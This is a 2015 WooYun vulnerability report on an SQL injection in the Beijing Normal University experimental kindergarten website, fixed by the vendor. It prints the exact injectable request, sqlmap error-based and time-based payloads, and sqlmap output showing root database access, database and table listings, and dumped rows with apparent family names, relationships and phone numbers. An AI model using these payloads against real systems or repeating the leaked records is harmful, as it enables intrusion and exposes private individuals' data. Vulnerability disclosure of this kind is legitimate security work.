当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155207

漏洞标题:北京师范大学某站SQL注入(DBA权限)

相关厂商:北京师范大学

漏洞作者: 路人甲

提交时间:2015-11-23 15:21

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-24: 厂商已经确认,细节仅向厂商公开
2015-12-04: 细节向核心白帽子及相关领域专家公开
2015-12-14: 细节向普通白帽子公开
2015-12-24: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

rt

详细说明:

http://yey.bnu.edu.cn/ 北京师范大学实验幼儿园


POST /check1.jsp HTTP/1.1
Content-Length: 176
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://yey.bnu.edu.cn
Cookie: JSESSIONID=D0C95A02D6DD1B83392672A1681554B6
Host: yey.bnu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Submit=%cc%e1%bd%bb&hao=*&password=g00dPa%24%24w0rD


hao参数存在注入

--
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: Submit=%cc%e1%bd%bb&hao=' AND (SELECT 2438 FROM(SELECT COUNT(*),CONCAT(0x716a6b7671,(SELECT (ELT(2438=2438,1))),0x717a6b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'BRaG'='BRaG&password=g00dPa$$w0rD
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: Submit=%cc%e1%bd%bb&hao=' AND (SELECT * FROM (SELECT(SLEEP(5)))HvmX) AND 'ImMt'='ImMt&password=g00dPa$$w0rD
---
web application technology: JSP
back-end DBMS: MySQL 5.0
available databases [15]:
[*] bsd_jobs2
[*] bsdcmsnewbsd1
[*] cmsnewbsd1
[*] compe
[*] gsd
[*] idcenter
[*] idcenterds
[*] information_schema
[*] mysql
[*] renben
[*] semdb
[*] shuikeyuan
[*] yey
[*] yey -
[*] zhexue


--
web application technology: JSP
back-end DBMS: MySQL 5.0
current user: 'root@localhost'
current database: 'yey'
current user is DBA: True



---
web application technology: JSP
back-end DBMS: MySQL 5.0
Database: yey
+---------------------------+---------+
| Table | Entries |
+---------------------------+---------+
| jc_file | 8228 |
| jc_file_copy | 8057 |
| chengyuan | 1505 |
| jc_log | 1486 |
| jianli | 1468 |
| jc_content_channel | 1181 |
| jc_content | 1012 |
| jc_content_check | 1012 |
| jc_content_count | 1012 |
| jc_content_ext | 1012 |
| zhengjian | 946 |
| jc_content_txt | 931 |
| photonews | 885 |
| hetong | 785 |
| portal_articles | 648 |
| jc_content_txt_1_bak | 646 |
| jc_content_txt_1_bak_real | 646 |
| jc_content_txt_1 | 643 |
| jiangli | 570 |
| peixun | 435 |
| jc_model_item | 310 |
| jc_channel | 66 |
| jc_channel_ext | 66 |
| portal_column_defines | 57 |
| folk | 56 |
| jc_site_flow | 52 |
| jc_role_permission | 29 |
| jc_advertising_attr | 27 |
| jc_vote_item | 27 |
| ziduan | 27 |
| jc_channel_model | 16 |
| jc_content_attachment | 15 |
| jo_config | 14 |
| bumen | 12 |
| jc_dictionary | 12 |
| photo | 11 |
| jc_vote_reply | 10 |
| jc_model | 9 |
| jc_vote_subtopic | 9 |
| jc_content_tag | 7 |
| jc_config_attr | 6 |
| jc_advertising | 5 |
| jc_advertising_space | 5 |
| diaodong | 4 |
| jc_content_type | 4 |
| jc_user | 3 |
| jc_user_ext | 3 |
| jc_user_role | 3 |
| jc_user_site | 3 |
| jo_user | 3 |
| jc_friendlink_ctg | 2 |
| jc_group | 2 |
| jc_role | 2 |
| jc_vote_topic | 2 |
| admin | 1 |
| jc_config | 1 |
| jc_friendlink | 1 |
| jc_guestbook_ctg | 1 |
| jc_keyword | 1 |
| jc_sensitivity | 1 |
| jc_site | 1 |
| jc_site_company | 1 |
| jc_user_resume | 1 |
| jc_vote_record | 1 |
| jo_authentication | 1 |
| weiji | 1 |
+---------------------------+---------+


web application technology: JSP
back-end DBMS: MySQL 5.0
Database: yey
Table: chengyuan
[4 entries]
+----+--------+----------+------------+---------+------------------+
| id | hao | qsdh | cyxm | ybrgx | gzdw1 |
+----+--------+----------+------------+---------+------------------+
| 54 | yz8301 | <blank> | 姹ゅ彲閼玵zkvq1 | <blank> | 闄勪笁涓璹zkvq1 |
| 55 | yz6501 | 62209185 | 鐜嬪畞 | 澶 | 鏃爍zkvq1 |
| 56 | yz6501 | 62209185 | 鐜嬫槺鏍媞zkvq1 | 姣嶅瓙 | 鍖楀笀澶у疄楠屽皬瀛zkvq1 |
| 58 | yz8201 | <blank> | 榛勯洴 | 濂冲効 | <blank> |
+----+--------+----------+------------+---------+------------------+
chengyuan信息泄露,windows下乱码...

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-24 17:31

厂商回复:

已经修复,谢谢

最新状态:

暂无


漏洞评价:

评价